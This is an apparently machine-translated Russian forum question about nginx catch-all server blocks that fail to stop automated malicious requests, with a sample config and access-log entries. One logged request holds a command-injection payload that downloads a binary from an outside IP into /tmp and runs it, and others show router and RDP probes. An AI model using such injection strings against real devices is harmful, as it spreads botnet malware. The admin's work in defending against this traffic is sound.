У меня есть веб-сервер, на котором размещены мои открытые для веб-приложений inte rnet. Каждое веб-приложение имеет свой собственный поддомен, например, app1.mycompanydomain.com и app2.mycompanydomain.com . Весь входящий трафик c поступает в nginx
, где он разрешает имена хостов и передает запросы на веб-сервер приложения на той же виртуальной машине. Вот моя конфигурация:
server {
listen 80;
server_name _;
return 444;
}
server {
listen 80;
server_name *.mycompanydomain.com;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
server_name _;
ssl_certificate /opt/cert/cert.crt;
ssl_certificate_key /opt/cert/cert.key;
return 444;
}
server {
server_name app1.mycompanydomain.com app1.mycompanydomain.com;
listen 443 ssl;
ssl_certificate /opt/cert/cert.crt;
ssl_certificate_key /opt/cert/cert.key;
location / {
proxy_pass http://localhost:9081/;
}
}
#Proxying for the rest of the applications look the same
Блоки, в которых я возвращаю статус 444 http, предназначены для фильтрации автоматических вредоносных запросов, которых мы обычно получали. Проблема в том, что мы все еще получаем изрядное количество таких запросов. Я почти уверен, что большинство этих запросов отправляются автоматическими c ботами, которые не знают целевых хостов, но по какой-то причине мы не смогли идентифицировать целевой хост этих запросов, поэтому мы не можем их заблокировать , Мы пытались войти $host
, $http_host
, $server_name
, но все они были либо пустыми, либо _.
Поэтому 2 вопроса:
- Как запрос хоста может быть пустым? Существуют ли другие способы идентификации хоста запроса?
- Какие еще правила я могу наложить для фильтрации нашего мошеннического трафика c?
Пример вредоносного трафика c, который все еще проходит через:
1. IP: 45.228.213.131 [28 / Feb / 2020 : 03: 32: 25 -0500] запрос: "GET /login.cgi?cli=aa%20aa%27;wget%20http://45.148.10.194/mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn; /tmp/leonn%20dlink.mips%27$ HTTP / 1.1 ", цель: _, код: 400, тело: 166, агент:" botnet / 2.0 ", время: 0,000 мс
2. IP: 85.93.20.170 [27 / Feb / 2020: 16: 29: 24 -0500] запрос: "\ x03 \ x00 \ x00 / \ xE0 \ x00 \ x00 \ x00 \ x00 \ x00Cook ie: mstshash = Administr ", цель: _, код: 400, тело: 166, агент:" - ", время: 0,132 мс
3. IP: 31.208.166.61 [25 / февраля / 2020: 16: 07: 02 -0500] запрос: "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/¤tsetting.htm=1 HTTP /1.1 ", цель: _, код: 400, тело: 166, агент:" Mozilla / 5.0 ", время: 0,000 мс